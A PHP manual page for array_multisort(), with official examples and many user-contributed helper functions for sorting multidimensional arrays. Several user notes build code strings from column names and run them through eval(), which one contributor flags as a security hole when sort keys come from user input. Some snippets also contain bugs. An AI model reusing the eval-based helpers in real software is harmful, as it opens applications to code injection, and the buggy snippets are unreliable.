  for ($i = $start; $i < $start+count($tmp['value']); $i ++)$r[$tmp['value'][$i-$start]] = $v[$tmp['key']][$i-$start];
  $start = count($tmp['value']);
 }
 return $r;
}
?>
array_merge_recursive
array_multisort
Array Functions


Sort multiple or multi-dimensional arrays

array_merge
array_pad
Array Functions
PHP Manual

array_multisort

(PHP 4, PHP 5)

array_multisort — Sort multiple or multi-dimensional arrays

Description

bool array_multisort ( array &$arr [, mixed $arg = SORT_ASC [, mixed $arg = SORT_REGULAR [, mixed $... ]]] )

array_multisort() can be used to sort several arrays at once, or a multi-dimensional array by one or more dimensions.

Associative (string) keys will be maintained, but numeric keys will be re-indexed.

Parameters

arr

An array being sorted.

arg

Optionally another array, or sort options for the previous array argument: SORT_ASC, SORT_DESC, SORT_REGULAR, SORT_NUMERIC, SORT_STRING.

...

Additional arg's.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Sorting multiple arrays

<?php
$ar1 = array(10, 100, 100, 0);
$ar2 = array(1, 3, 2, 4);
array_multisort($ar1, $ar2);

var_dump($ar1);
var_dump($ar2);
?>

In this example, after sorting, the first array will contain 0, 10, 100, 100. The second array will contain 4, 1, 2, 3. The entries in the second array corresponding to the identical entries in the first array (100 and 100) were sorted as well.

array(4) {
  [0]=> int(0)
  [1]=> int(10)
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=> int(4)
  [1]=> int(1)
  [2]=> int(2)
  [3]=> int(3)
}

Example #2 Sorting multi-dimensional array

<?php
$ar = array(
       array("10", 11, 100, 100, "a"),
       array(   1,  2, "2",   3,   1)
      );
array_multisort($ar[0], SORT_ASC, SORT_STRING,
                $ar[1], SORT_NUMERIC, SORT_DESC);
var_dump($ar);
?>

In this example, after sorting, the first array will transform to "10", 100, 100, 11, "a" (it was sorted as strings in ascending order). The second will contain 1, 3, "2", 2, 1 (sorted as numbers, in descending order).

array(2) {
  [0]=> array(5) {
    [0]=> string(2) "10"
    [1]=> int(100)
    [2]=> int(100)
    [3]=> int(11)
    [4]=> string(1) "a"
  }
  [1]=> array(5) {
    [0]=> int(1)
    [1]=> int(3)
    [2]=> string(1) "2"
    [3]=> int(2)
    [4]=> int(1)
  }
}

Example #3 Sorting database results

For this example, each element in the data array represents one row in a table. This type of dataset is typical of database records.

Example data:

volume | edition
-------+--------
    67 |       2
    86 |       1
    85 |       6
    98 |       2
    86 |       6
    67 |       7

The data as an array, called data. This would usually, for example, be obtained by looping with mysql_fetch_assoc().

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);
?>

In this example, we will order by volume descending, edition ascending.

We have an array of rows, but array_multisort() requires an array of columns, so we use the below code to obtain the columns, then perform the sorting.

<?php
// Obtain a list of columns
foreach ($data as $key => $row) {
    $volume[$key]  = $row['volume'];
    $edition[$key] = $row['edition'];
}

// Sort the data with volume descending, edition ascending
// Add $data as the last parameter, to sort by the common key
array_multisort($volume, SORT_DESC, $edition, SORT_ASC, $data);
?>

The dataset is now sorted, and will look like this:

volume | edition
-------+--------
    98 |       2
    86 |       1
    86 |       6
    85 |       6
    67 |       2
    67 |       7

Example #4 Case insensitive sorting

Both SORT_STRING and SORT_REGULAR are case sensitive, strings starting with a capital letter will come before strings starting with a lowercase letter.

To perform a case insensitive search, force the sorting order to be determined by a lowercase copy of the original array.

<?php
$array = array('Alpha', 'atomic', 'Beta', 'bank');
$array_lowercase = array_map('strtolower', $array);

array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $array);

print_r($array);
?>

The above example will output:

Array
(
    [0] => Alpha
    [1] => atomic
    [2] => bank
    [3] => Beta
)

See Also

  • usort() - Sort an array by values using a user-defined comparison function
  • The comparison of array sorting functions

User Contributed Notes

nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:36
USort function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution over this function.

Hope it helps!
info at ichier dot de 28-Jul-2011 08:59
if you want to sort an array by columns, this is the function to do it.

<?php
function array_csort() {        //coded by Ichier2003
    $args = func_get_args();
    $marray = array_shift($args);
    $msortline = 'return(array_multisort(';
    foreach ($args as $arg) {
        $i++;
        if (is_string($arg)) {
            foreach ($marray as $row) {
                $sortarr[$i][] = $row[$arg];
            }
        } else {
            $sortarr[$i] = $arg;
        }
        $msortline .= '$sortarr['.$i.'],';
    }
    $msortline .= '$marray));';
    eval($msortline);
    return $marray;
}
?>
thierryzo at hotmail dot fr 29-Jun-2011 02:27
//A very simple way to sort arrays with this kind of structure.

<?php
    $myArray =array(
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "BLUE","L1" => 6),
        array("NUMCIE" => "001","REF" => "RHQ","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "002","REF" => "RXL","COLOR" => "YELLOW","L1" => 8));

    foreach($myArray as $c=>$key) {
        $sort_numcie[] = $key['NUMCIE'];
        $sort_ref[] = $key['REF'];
        $sort_color[] = $key['COLOR'];
    }

    array_multisort($sort_numcie, SORT_ASC, $sort_ref, SORT_STRING, $myArray);
    print_r($myArray);

?>

//Result array

Array
(
    [0] => Array
        (
            [NUMCIE] => 001
            [REF] => RHQ
            [COLOR] => RED
            [L1] => 4
        )

    [1] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => BLUE
            [L1] => 6
        )

    [2] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => RED
            [L1] => 4
        )

    [3] => Array
        (
            [NUMCIE] => 002
            [REF] => RXL
            [COLOR] => YELLOW
            [L1] => 8
        )

)
Jaak Tamre 22-Mar-2011 06:42
I had a problem with sorting SimpleXMLElement list. I found a nice short solution.

I have an array of ticket objects: $ticketList = $xml->Tickets;

<?php
// Sort by ValidOnDate
$tickets = array();
$valid = array();
foreach ($ticketList as $row) {
    $tickets[] = $row;
    $valid[] = DateHandler::parseDate($row->ValidOnDate);
}
array_multisort($valid, SORT_DESC, $tickets);
?>

Just make an array of object items you want to sort by and a new array for the same objects which will be reordered like the first array.

Ps: my own parseDate(date) returns unix timestamp for different date formats.
jimpoz at jimpoz dot com 21-Oct-2010 02:26
I came up with an easy way to sort database-style results. This does what example 3 does, except it takes care of creating those intermediate arrays for you before passing control on to array_multisort().

<?php
function array_orderby()
{
    $args = func_get_args();
    $data = array_shift($args);
    foreach ($args as $n => $field) {
        if (is_string($field)) {
            $tmp = array();
            foreach ($data as $key => $row)
                $tmp[$key] = $row[$field];
            $args[$n] = $tmp;
            }
    }
    $args[] = &$data;
    call_user_func_array('array_multisort', $args);
    return array_pop($args);
}
?>

The sorted array is now in the return value of the function instead of being passed by reference.

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);

// Pass the array, followed by the column names and sort flags
$sorted = array_orderby($data, 'volume', SORT_DESC, 'edition', SORT_ASC);
?>
m__faraz at hotmail dot com 08-Jun-2010 08:10
The last example for multisort an array by a text field works well.
However, it is case sensitive.
So here is my version of the same with case insensitivity.

<?php
$tmp = Array();
foreach($aMultiArray as &$aSingleArray)    $tmp[] = &$aSingleArray["name"];
$tmp = array_map('strtolower', $tmp);
array_multisort($tmp, $aMultiArray);
?>

Hope this helps someone out there.
zequez at gmail dot com 06-May-2010 03:19
Easiest way I find out to sort an entire multidimensional array by one element of it:

<?php
$multiArray = Array(
    Array("id" => 1, "name" => "Defg"),
    Array("id" => 2, "name" => "Abcd"),
    Array("id" => 3, "name" => "Bcde"),
    Array("id" => 4, "name" => "Cdef"));
$tmp = Array();
foreach($multiArray as &$ma)
    $tmp[] = &$ma["name"];
array_multisort($tmp, $multiArray);
foreach($multiArray as &$ma)
    echo $ma["name"]."<br/>";

/* Outputs
    Abcd
    Bcde
    Cdef
    Defg
*/
?>

^-^
alexander dot v at zend dot com 20-Jan-2010 03:42
array_multisort works normally in php 5.3, but it forces arguments to be references.

It doesn't make differences for common array_multisort() usage, but makes "problems" for sorting variable number of arrays where call_user_func_array() function is involved.

So all sorting arrays have to be collected into new one as a references to array variables:

<?php
$sortArgs = array();

for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>

This (requiring arguments to be a reference) is not actually a problem since source array will not be sorted otherwise.

Important note!
Don't forget to destroy $valuesArray variable if you use it over each array_multisort() argument processing iteration.
If you don't do it, all array_multisort() arguments will contain the same array:

<?php
for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}
?>

And the last important thing :)
Collect sorting arrays somewhere. PHP 5.3 will transfer reference into value (when $valuesArray is destroyed) and you will get "Parameter 1 to array_multisort() expected to be a reference, value given" warning again otherwise.

Final code should look like this:

<?php
$sortArgs = array();
$sortFieldValues = array();

for (...) {
    ...
    $sortFieldValues[] = &$valuesArray;
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>
d_inkubus at yahoo dot com 21-Dec-2009 03:33
Update to array_msort()--in PHP 5.3 it won't work.

The solution is to replace the array_merge($params, $order) with the following code snippet:

<?php
$order=(array)$order;
foreach($order as $order_element)
{
    $params[]=&$order_element;
}
?>

Full code to array_msort():

<?php
function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order)
    {
        $colarr[$col] = array();
        foreach ($array as $k => $row)
        {
            $colarr[$col]['_'.$k] = strtolower($row[$col]);
        }
    }
    $params = array();
    foreach ($cols as $col => $order)
    {

        $params[] =&$colarr[$col];
        $order=(array)$order;
        foreach($order as $order_element)
        {
            //pass by reference, as required by php 5.3
            $params[]=&$order_element;
        }
    }
    call_user_func_array('array_multisort', $params);
    $ret = array();
    $keys = array();
    $first = true;
    foreach ($colarr as $col => $arr)
    {
        foreach ($arr as $k => $v)
        {
            if ($first)
            {
                $keys[$k] = substr($k,1);
            }
            $k = $keys[$k];

            if (!isset($ret[$k]))
            {
                $ret[$k] = $array[$k];
            }

            $ret[$k][$col] = $array[$k][$col];
        }
        $first = false;
    }
    return $ret;
}
?>

For further reference, see these bug reports:
http://bugs.php.net/bug.php?id=49069
http://bugs.php.net/bug.php?id=49241
s dot i dot g at gmx dot com 10-Jul-2009 06:21
simple dns mx record sorting

<?php
//getting domain name
list($user, $domain) = split('[@]', $email);
getmxrr($domain, $mx_server, $mx_weight);

//sorting
for($i = 0; $i < count($mx_server); $i++)
{
    $mx[$i] = array
    (
      "server" => $mx_server[$i],
      "weight" => $mx_weight[$i],
    );
}
array_multisort($mx_weight, SORT_ASC, $mx_server, SORT_ASC, $mx);

//display result
print_r($mx);

//usage
$server = $mx[0]["server"];
?>
cagret at gmail dot com 21-Jun-2009 03:38
Update to array_msort(): instead of eval() using call_user_func_array(). If we get column sorting via $_GET it would be a serious security hole.

Now it also accepts multiple options for each column:

<?php
$arr2 = array_msort($arr1, array('name'=>array(SORT_DESC,SORT_REGULAR), 'cat'=>SORT_ASC));
?>

Btw. this function is automatically case-insensitive, as you can see use of strtolower().

<?php
function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $params = array();
    foreach ($cols as $col => $order) {
        $params[] =& $colarr[$col];
        $params = array_merge($params, (array)$order);
    }
    call_user_func_array('array_multisort', $params);
    $ret = array();
    $keys = array();
    $first = true;
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            if ($first) { $keys[$k] = substr($k,1); }
            $k = $keys[$k];
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
        $first = false;
    }
    return $ret;

}
?>
cagret at gmail dot com 20-Jun-2009 12:16
A more inuitive way of sorting multidimensional arrays using array_msort() in just one line, you don't have to divide the original array into per-column-arrays:

<?php

$arr1 = array(
    array('id'=>1,'name'=>'aA','cat'=>'cc'),
    array('id'=>2,'name'=>'aa','cat'=>'dd'),
    array('id'=>3,'name'=>'bb','cat'=>'cc'),
    array('id'=>4,'name'=>'bb','cat'=>'dd')
);

$arr2 = array_msort($arr1, array('name'=>SORT_DESC, 'cat'=>SORT_ASC));

debug($arr1, $arr2);

arr1:
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
arr2:
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)

function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $eval = 'array_multisort(';
    foreach ($cols as $col => $order) {
        $eval .= '$colarr[\''.$col.'\'],'.$order.',';
    }
    $eval = substr($eval,0,-1).');';
    eval($eval);
    $ret = array();
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            $k = substr($k,1);
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
    }
    return $ret;

}

?>
m dot michalczyk at gmail dot com 16-May-2009 03:45
Here is useful example based on za at byza dot it solution to sort multidimensional objects by any dimension.
za at byza dot it
<?php
/* Example structure */
class person{
    function __construct($firstName, $lastName, $title, $position){
        $this->firstName = $firstName;
        $this->lastName = $lastName;
        $this->title = new title($title);
        $this->position = new position($position);
    }
}
class title{
    function __construct($name){
        $this->name = $name;
    }

}
class position{
    function __construct($name){
        $this->name = $name;
    }

}

$array[] = new person('Piotr', 'Sobiepanek', 'b', 'b');
$array[] = new person('Piotr', 'Kowalski', 'b', 'a');
$array[] = new person('Piotr', 'Michalski', 'a', 'a');
$array[] = new person('Jozef', 'Smietana', 'a', 'b');
$array[] = new person('Jozef', 'Cmietana', 'a', 'b');
$array[] = new person('Marcin', 'Kondraciuk', 'c', 'b');
$array[] = new person('Maksym', 'Kondraciuk', 'c', 'd');
$array[] = new person('Ambrozy', 'Kondraciuk', 'c', 'd');
$array[] = new person('Alojzy', 'Kondraciuk', 'c', 'd');

array_sort($array, 'title->name', 'position->name', 'lastName');
print_r($array);

/* Source */

function hod(&$base, $path){
    $keys = explode("->", $path);
    $keys[0] = str_replace('$', '', $keys[0]);
    $expression = '$ret = ';
    $expression.= '$';
    foreach ($keys as $key){
        if (++$licz == 1){
            $expression.= 'base->';
        } else {
            $expression.= $key.'->';
        }
    }
    $expression = substr($expression, 0, -2);
    $expression.= ';';
    eval($expression);
    return $ret;
}

function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if($k[0]=='!') {
         $k=substr($k,1);
         if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
            return strcmp(hod($b, '$b->'.$k),hod($a, '$a->'.$k));
         }
      }
      else if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
         return strcmp(hod($a, '$a->'.$k),hod($b, '$b->'.$k));
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
za at byza dot it 27-Apr-2009 10:08
I wrote a function to sort a multidimensional array by multiple columns in ascending and descending order.

Sample array:

<?php
$my_array=array(
   array('id'=>1, 'surname'=>'rossi', 'name'=>'mario', 'group'=>'admin'),
   array('id'=>2, 'surname'=>'rossi', 'name'=>'giovanni', 'group'=>'user'),
   array('id'=>3, 'surname'=>'verdi', 'name'=>'luigi', 'group'=>'user'),
   array('id'=>4, 'surname'=>'verdi', 'name'=>'franco', 'group'=>'guest'),
   array('id'=>5, 'surname'=>'bianchi', 'name'=>'mario', 'group'=>'guest')
);
?>

Example: <?php array_sort($my_array,'!group','surname'); ?>

Output: sort the array DESCENDING by group and then ASCENDING by surname. Notice the use of ! to reverse the sort order. Rows order will be: 2,3,5,4,1

The function code:

<?php
function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if(@$k[0]=='!') {
         $k=substr($k,1);
         if(@$a[$k]!==@$b[$k]) {
            return strcmp(@$b[$k],@$a[$k]);
         }
      }
      else if(@$a[$k]!==@$b[$k]) {
         return strcmp(@$a[$k],@$b[$k]);
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
mech.cx 28-Mar-2009 12:04
I was (as near everyone here :-) looking to sort 2-dimensional arrays by certain fields in the associative sub-arrays.
What I didn't like about the documentation examples is that you need to loop through the input array to create sub arrays first, then use those in the function call.

"php a-t-the-r-a-t-e chir.ag" (http://www.php.net/manual/en/function.array-multisort.php#60401) wrote a quite cunning wrapper function, I rewrote it slightly, changing variable names and adding comments (for my sanity :-) mostly.
One snag I found: the input array is passed to array_multisort as last argument, but the changed array is not the one that is returned. Passing it by reference fixed that. This seems to be caused by the whole thing sitting inside the call_user_func_array, as shown below.

<?php

$points = array(1, 5, 2, 2);
$names  = array('peter', 'mike', 'john Zoo', 'john Ab');

$source = array (
  array ( 'points' => 1, 'name' => 'Peter'),
  array ( 'points' => 5, 'name' => 'Mike'),
  array ( 'points' => 2, 'name' => 'John Zoo'),
  array ( 'points' => 2, 'name' => 'John Ab')
);

call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, $source)); // doesn't work
print_r($source);
call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, &$source)); // works!
print_r($source);

// Call like arrayColumnSort('points', SORT_DESC, SORT_NUMERIC, 'name', SORT_ASC, SORT_STRING, $source);

// Slightly adapted from http://www.php.net/manual/en/function.array-multisort.php#60401

// arrayColumnSort(string $field, [options, ], string $field2, [options, ], .... , $array) /

//____________________
// arrayColumnSort() /
function arrayColumnSort() {
  $args  = func_get_args();
  $array = array_pop($args);
  if (! is_array($array)) return false;
  // Here we'll sift out the values from the columns we want to sort on, and put them in numbered 'subar' ("sub-array") arrays.
  //   (So when sorting by two fields with two modifiers (sort options) each, this will create $subar0 and $subar3)
  foreach($array as $key => $row) // loop through source array
    foreach($args as $akey => $val) // loop through args (fields and modifiers)
      if(is_string($val))             // if the arg's a field, add its value from the source array to a sub-array
        ${"subar$akey"}[$key] = $row[$val];
  // $multisort_args contains the arguments that would (/will) go into array_multisort(): sub-arrays, modifiers and the source array
  $multisort_args = array();
  foreach($args as $key => $val)
    $multisort_args[] = (is_string($val) ? ${"subar$key"} : $val);
  $multisort_args[] = &$array;   // finally add the source array, by reference
  call_user_func_array("array_multisort", $multisort_args);
  return $array;
}

?>
frank at overdrunk dot net 14-Jan-2009 02:38
I had a function to make a sort on a 2D array and I wanted to sort an array using a column that usualy contains numeric values but also strings.

Lets say we have this array :

Array (
  [0] => Array ( "name" = "12000" ),
  [1] => Array ( "name" = "113" ),
  [2] => Array ( "name" = "test 01" ),
  [3] => Array ( "name" = "15000 tests" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "350" ),
  [6] => Array ( "name" = "725" ),
  [7] => Array ( "name" = "hello" )
}

SORT_STRING whould have returned me this :

Array ( // Numeric values are not correctly sorted
  [0] => Array ( "name" = "113" ),
  [1] => Array ( "name" = "12000" ),
  [2] => Array ( "name" = "15000 tests" ),
  [3] => Array ( "name" = "350" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "hello" ),
  [7] => Array ( "name" = "test 01" )
}

SORT_NUMERIC would have returned me this :

Array ( // String values are not sorted, just in the same order
  [0] => Array ( "name" = "test 01" ),
  [1] => Array ( "name" = "hello" ),
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
}

So I've made this hybrid code which combines the best of both worlds by merging content sorted either way according to the first caracter of the string:

<?php
/**
 * Sorts an array according to a specified column
 * Params : array  $table
 *          string $colname
 *          bool   $numeric
 **/
function sort_col($table, $colname) {
  $tn = $ts = $temp_num = $temp_str = array();
  foreach ($table as $key => $row) {
    if(is_numeric(substr($row[$colname], 0, 1))) {
      $tn[$key] = $row[$colname];
      $temp_num[$key] = $row;
    }
    else {
      $ts[$key] = $row[$colname];
      $temp_str[$key] = $row;
    }
  }
  unset($table);

  array_multisort($tn, SORT_ASC, SORT_NUMERIC, $temp_num);
  array_multisort($ts, SORT_ASC, SORT_STRING, $temp_str);
  return array_merge($temp_num, $temp_str);
}
?>

It would return something like this :

Array (
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
  [1] => Array ( "name" = "hello" ),
  [0] => Array ( "name" = "test 01" ),
}
Zbigniew Heintze http://bigweb.pl 26-Nov-2008 11:36
<?php
/**
 * Sort DB result
 *
 * @param array $data Result of sql query as associative array
 *
 * Rest of parameters are optional
 * [, string $name  [, mixed $name or $order  [, mixed $name or $mode]]]
 * $name string - column name i database table
 * $order integer - sorting direction ascending (SORT_ASC) or descending (SORT_DESC)
 * $mode integer - sorting mode (SORT_REGULAR, SORT_STRING, SORT_NUMERIC)
 *
 * <code>
 * <?php
 * // You can sort data by several columns e.g.
 * $data = array();
 * for ($i = 1; $i <= 10; $i++) {
 *     $data[] = array( 'id' => $i,
 *                      'first_name' => sprintf('first_name_%s', rand(1, 9)),
 *                      'last_name' => sprintf('last_name_%s', rand(1, 9)),
 *                      'date' => date('Y-m-d', rand(0, time()))
 *                  );
 * }
 * $data = sortDbResult($data, 'date', SORT_DESC, SORT_NUMERIC, 'id');
 * printf('<pre>%s</pre>', print_r($data, true));
 * $data = sortDbResult($data, 'last_name', SORT_ASC, SORT_STRING, 'first_name', SORT_ASC, SORT_STRING);
 * printf('<pre>%s</pre>', print_r($data, true));
 * ?>
 * </code>
 *
 * @return array $data - Sorted data
 */
function sortDbResult(array $data /*$name, $order, $mode*/) {
    $_argList = func_get_args();
    $_data = array_shift($_argList);
    if (empty($_data)) {
        return $_data;
    }
    $_max = count($_argList);
    $_params = array();
    $_cols = array();
    $_rules = array();
    for ($_i = 0; $_i < $_max; $_i += 3)
    {
        $_name = (string) $_argList[$_i];
        if (!in_array($_name, array_keys(current($_data)))) {
            continue;
        }
        if (!isset($_argList[($_i + 1)]) || is_string($_argList[($_i + 1)])) {
            $_order = SORT_ASC;
            $_mode = SORT_REGULAR;
            $_i -= 2;
        } else if (3 > $_argList[($_i + 1)]) {
            $_order = SORT_ASC;
            $_mode = $_argList[($_i + 1)];
            $_i--;
        } else {
            $_order = $_argList[($_i + 1)] == SORT_ASC ? SORT_ASC : SORT_DESC;
            if (!isset($_argList[($_i + 2)]) || is_string($_argList[($_i + 2)])) {
                $_mode = SORT_REGULAR;
                $_i--;
            } else {
                $_mode = $_argList[($_i + 2)];
            }
        }
        $_mode = $_mode != SORT_NUMERIC
                    ? $_argList[($_i + 2)] != SORT_STRING ? SORT_REGULAR : SORT_STRING
                    : SORT_NUMERIC;
        $_rules[] = array('name' => $_name, 'order' => $_order, 'mode' => $_mode);
    }
    foreach ($_data as $_k => $_row) {
        foreach ($_rules as $_rule) {
            if (!isset($_cols[$_rule['name']])) {
                $_cols[$_rule['name']] = array();
                $_params[] = &$_cols[$_rule['name']];
                $_params[] = $_rule['order'];
                $_params[] = $_rule['mode'];
            }
            $_cols[$_rule['name']][$_k] = $_row[$_rule['name']];
        }
    }
    $_params[] = &$_data;
    call_user_func_array('array_multisort', $_params);
    return $_data;
}
?>
oOo at OoO dot com 10-Nov-2008 12:58
Since the manual doesn't specify so, I want to point out that the SORT_NUMERIC flag does also work correctly if the values are floating point numbers.
Just don't forget to also add the respective SORT_ASC or SORT_DESC flag :)
matt at idizinc dot com 23-Oct-2008 11:47
I looked on some forms for an answer to this simple problem and couldn't find one so I came up with a solution that may help in some situations.

How do you sort an array by a field in that array and resolve numeric ties randomly?

Code:
<?php

foreach($list as $temp_list)
{
   $sort_aux[] = ($temp_list['column_to_sort_by']+(rand(1, 9)/10));
}
array_multisort($sort_aux, SORT_NUMERIC, $list);

?>

Example:

$list[]=array('name'=>'Tom', 'score'=>3);
$list[]=array('name'=>'Sam', 'score'=>3);
$list[]=array('name'=>'Joey', 'score'=>1);

Explanation:
I took an existing example found above that shows how to sort an array by one of it's columns/fields.
I just added: "+(rand(1,9)/10)" To randomly add .1 through .9 to their score to resolve the tie. (Obviously this specific example only works if you're sorting by an integer... so you may need to modify it to suit your needs.)

Hope this helps someone.
isp dot php at spspft dot de 19-Oct-2008 05:44
I would like to report a kind of confusion that arose with the message

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of array_multisort(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file...

from a line like this:

array_multisort (&$keyarr, &$arr );// sort against this keys

This message is not easily switched off by changing the error reporting level because it's produced at parsinig time -- not execution time.

I think this message is misleading because the arguments are passed by reference ANYWAY in array_multisort.

Anybody encountering this message should know that nothing has to be done, except deleting the ampersands (&).
I was tricked by this message because of couse I wanted to have the *sorted* array back. And couldn't find the ini file nor the declaration of array_multisort.
I think in this description of array_multisort the call by reference should be listed in the definition.

Hope this helps someone
seiffs_at_centrum-dot-cz 18-Aug-2008 08:53
There have to be two corrections to the php_multisort($data,$keys)

    // Sort Expression
    $i=0;
    $sort='';  //here
    foreach ($keys as $k){
      if($i>0){$sort.=',';}
      $sort.='$cols[\''.$k['key'].'\']'; //and here
      if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
      if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
      $i++;
    }
php {dot} net [arrt] sebble.com 11-May-2008 02:16
I was requiring a PHP function a sort my array data as part of an SQL interpreter for PHP arrays. This is the code I came up with. and works wonderfully.

I hope this helps somebody. If anyone uses this, let me know what you think, if there are any problems with it...

<?

##                ##
##  PHPMultiSort  ##
##                ##
// Takes:
//        $data,  multidim array
//        $keys,  array(array(key=>col1, sort=>desc), array(key=>col2, type=>numeric))

function php_multisort($data,$keys){

  // List As Columns
  foreach ($data as $key => $row) {
    foreach ($keys as $k){
      $cols[$k['key']][$key] = $row[$k['key']];
    }
  }
  // List original keys
  $idkeys=array_keys($data);
  // Sort Expression
  $i=0;
  foreach ($keys as $k){
    if($i>0){$sort.=',';}
    $sort.='$cols['.$k['key'].']';
    if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
    if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
    $i++;
  }
  $sort.=',$idkeys';
  // Sort Funct
  $sort='array_multisort('.$sort.');';
  eval($sort);
  // Rebuild Full Array
  foreach($idkeys as $idkey){
    $result[$idkey]=$data[$idkey];
  }
  return $result;
}

###############

// Example Data

$_DATA['table1'][] = array("name" => "Sebastian", "age" => 18, "male" => true);
$_DATA['table1'][] = array("name" => "Lawrence",  "age" => 16, "male" => true);
$_DATA['table1'][] = array("name" => "Olivia",    "age" => 10, "male" => false);
$_DATA['table1'][] = array("name" => "Dad",       "age" => 50, "male" => true);
$_DATA['table1'][] = array("name" => "Mum",       "age" => 40, "male" => false);
$_DATA['table1'][] = array("name" => "Sebastian", "age" => 56, "male" => true);
$_DATA['table1'][] = array("name" => "Lawrence",  "age" => 19, "male" => true);
$_DATA['table1'][] = array("name" => "Olivia",    "age" => 24, "male" => false);
$_DATA['table1'][] = array("name" => "Dad",       "age" => 10, "male" => true);
$_DATA['table1'][] = array("name" => "Mum",       "age" => 70, "male" => false);

###############

$res=php_multisort($_DATA['table1'], array(array('key'=>'name'),array('key'=>'age','sort'=>'desc')))
var_dump($res);

/*
array(10) {
  [8]=>
  array(3) {
    ["name"]=>
    string(3) "Dad"
    ["age"]=>
    int(10)
    ["male"]=>
    bool(true)
  }
  [3]=>
  array(3) {
    ["name"]=>
    string(3) "Dad"
    ["age"]=>
    int(50)
    ["male"]=>
    bool(true)
  }
  [1]=>
  array(3) {
    ["name"]=>
    string(8) "Lawrence"
    ["age"]=>
    int(16)
    ["male"]=>
    bool(true)
  }
  [6]=>
  array(3) {
    ["name"]=>
    string(8...
*/
?>
No Spam 23-Apr-2008 03:02
